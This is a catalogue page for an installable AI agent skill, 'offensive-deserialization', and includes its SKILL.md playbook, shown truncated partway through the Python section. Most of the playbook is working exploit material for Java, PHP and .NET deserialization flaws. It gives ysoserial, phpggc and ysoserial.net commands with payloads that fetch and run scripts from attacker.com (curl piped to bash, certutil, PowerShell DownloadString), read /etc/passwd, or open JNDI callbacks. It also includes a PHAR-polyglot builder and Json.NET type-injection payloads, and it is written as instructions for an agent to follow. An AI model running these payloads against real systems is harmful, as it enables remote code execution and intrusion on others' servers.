SkillAgentSearch skills...

offensive-deserialization

Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET…

Install / Use

npx skills add SnailSploit/Claude-Red --skill offensive-deserialization

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Category

Security

Supported Platforms

Universal

Our assessment of offensive-deserialization

offensive-deserialization scores 96/100 on our quality scale, 131st of 653 Security skills we index (top 21%).

Its SKILL.md is 22 KB long, well organised into 76 sections with 25 code examples: a thorough specification that gives an agent plenty to work with.

With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 6 days ago, so offensive-deserialization is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Warning

Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing offensive-deserialization, and do not run it with automatic approvals.

  • highDecodes hidden content and executes itline 356
    {"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}
  • noteInstalls by piping a downloaded script into a shellline 172
    phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b

Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

offensive-deserialization compared with similar skills

All 4 of these similar skills score higher than offensive-deserialization; compare them before choosing.

SkillScoreStarsUpdatedFormat
offensive-deserialization (this skill)by SnailSploit966.8k6d agoSKILL.md
Agent-Reachby Panniantong10085.5k11d agoCLAUDE.md
headroomby headroomlabs-ai10073.8ktodayCLAUDE.md
Scraplingby D4Vinci10083.8ktodayMCP Server
algorithmic-artby anthropics100177.9k4d agoSKILL.md

Frequently asked questions

How do I install offensive-deserialization?
Run npx skills add SnailSploit/Claude-Red --skill offensive-deserialization. The install tabs above show the steps for each supported agent.
Which AI agents does offensive-deserialization work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is offensive-deserialization safe to use?
Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing offensive-deserialization, and do not run it with automatic approvals. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is offensive-deserialization still maintained?
The repository was last updated 6 days ago, so offensive-deserialization is actively maintained.

name: offensive-deserialization description: "Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle reduce RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces including Kubernetes admission webhooks and message queue consumers, WAF bypass through encoding layers and content-type manipulation, and serialVersionUID/JMX/RMI vectors. Activate when the engagement involves deserialization sinks, serialized data in cookies or request bodies, gadget chain development, magic method abuse, ysoserial payload generation, or any review of marshalling and unmarshalling logic in target applications."

Offensive Deserialization

Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs.

Quick Workflow

  1. Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.
  2. Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures).
  3. Determine the server-side language and framework version from error pages, HTTP headers, or source code.
  4. Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
  5. Deliver through the identified entry point. Start with DNS-only or sleep-based proof to confirm execution without destructive side effects.
  6. Escalate from proof-of-concept to the engagement objective with authorization.
  7. Document the full chain: entry point, format, gadget chain, library versions, proof.

Recognition Signatures

| Format | Signature | Notes | |---|---|---| | Java ObjectInputStream | Hex ac ed 00 05, Base64 rO0AB | Cookies, POST bodies, JMX/RMI streams | | PHP serialize | O:<len>:"ClassName": or a:<count>:{ | Frequently Base64-wrapped in cookies | | .NET BinaryFormatter | Base64 AAEAAAD///// | ViewState, remoting, session state | | Python pickle | Opcodes \x80\x04\x95 (v4+), older (dp0 text | Redis caches, Celery tasks, ML pipelines | | Ruby Marshal | \x04\x08 leading bytes | Session cookies in older Rails apps | | YAML (any lang) | --- !ruby/object: or !!python/object/apply: | Tag-based instantiation | | Java XMLDecoder | <?xml with <java> or <object class= | Legacy Java admin panels | | .NET Json.NET | "$type": key in JSON | TypeNameHandling != None | | Java Jackson | ["class.name", { JSON array wrapper | enableDefaultTyping / polymorphic handling |


Java Deserialization

ObjectInputStream.readObject() instantiates arbitrary classes present on the classpath. Decades of library code provide usable gadget chains.

Identifying Sinks

// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated

serialVersionUID and Classpath Constraints

Every serializable Java class carries a serialVersionUID. A mismatch causes InvalidClassException before any gadget logic executes. Extract the server's UID from error messages or decompiled JARs, then rebuild the payload with ysoserial's source. The UID often changes only on major releases, so brute-forcing common versions is feasible when the exact version is unknown.

ysoserial Gadget Chains

Match the chain to libraries present on the target classpath.

# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in many apps via shaded dependencies
java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin

# URLDNS -- DNS lookup only, no RCE, safe for detection confirmation
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin

# JRMPClient -- redirect deser to attacker-controlled JRMP listener
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
# On attacker host, serve secondary payload via JRMP listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'

JMX/RMI Deserialization

JMX and RMI registries accept serialized objects over the wire and are frequently exposed without authentication on internal networks.

# Scan for RMI registries
nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET

# marshalsec: exploit RMI/JNDI
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \
  "http://attacker.com:8080/#ExploitClass" 1099

Jackson Polymorphic Typing

When enableDefaultTyping() or @JsonTypeInfo(use = Id.CLASS) is active, you supply a JSON array naming the class to instantiate.

["com.sun.rowset.JdbcRowSetImpl",
 {"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]

Jackson maintainers continuously add classes to a denylist. Check the target's version against known bypass classes: org.apache.ibatis.datasource.jndi.JndiDataSourceFactory, com.caucho.config.types.ResourceRef, and similar JNDI-capable beans.


PHP Deserialization

unserialize() instantiates objects and invokes magic methods (__wakeup, __destruct, __toString) during reconstruction. The phar:// stream wrapper triggers deserialization without an explicit unserialize() call.

Identifying Sinks

// Direct unserialize
$obj = unserialize($userInput);

// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_file

phpggc Gadget Chains

phpggc -l  # List all available chains

# Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x
phpggc Laravel/RCE1 system 'id' -b        # -b = base64
phpggc Laravel/RCE10 system 'cat /etc/passwd' -s  # -s = serialized

# Symfony RCE -- targets process component
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b
# Monolog RCE -- present in most Composer projects
phpggc Monolog/RCE1 system 'whoami' -b
# Guzzle / WordPress chains
phpggc Guzzle/RCE1 system 'id' -b
phpggc WordPress/RCE1 system 'id' -b

# PHAR output instead of raw serialized data
phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar
# PHAR polyglot disguised as JPEG
phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg

phar:// Exploitation

The phar:// wrapper deserializes the metadata section of a PHAR archive on any file operation. The sink is a file function, not unserialize(), so it evades many audits.

// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();

// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));

Upload the polyglot as an image, then trigger a file operation referencing phar://uploads/exploit.jpg/test.txt.


.NET Deserialization

BinaryFormatter is the most dangerous .NET serializer. Microsoft has formally deprecated it, but legacy applications and internal tools still use it.

Identifying Sinks

// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);

// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common

// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);

// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All  // or Objects, Arrays, Auto
});

ysoserial.net Payloads

# TypeConfuseDelegate -- broad .NET coverage
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"
# WindowsIdentity -- when TypeConfuseDelegate is blocked
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"
# TextFormattingRunProperties -- targets WPF/XAML
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"
# PSObject -- PowerShell-specific
ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
# Json.NET TypeNameHandling
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"
# Base64 output for ViewState or cookie injection
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64

ViewState Exploitation

ASP.NET ViewState is a serialized hidden form field. When MAC validation is disabled or the machine key is known, you inject a gadget chain directly.

# If machine key is known (web.config disclosure, default keys):
ysoserial.exe -p ViewState \
  -g TextFormattingRunProperties \
  -c "powershell -enc BASE64CMD" \
  --validationalg="SHA1" \
  --validationkey="KNOWN_KEY" \
  --generator="GENERATOR_VALUE" \
  --path="/target/page.aspx" \
  --islegacy

Json.NET TypeNameHandling

When TypeNameHandling is not None, the $type property controls instantiation.

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}

Python Deserialization

Python's pickle executes arbitrary code during deserialization through the __reduce__ method. There is no safe way to deseria

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars6.8k
CategorySecurity
Updated6d ago
Forks896

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions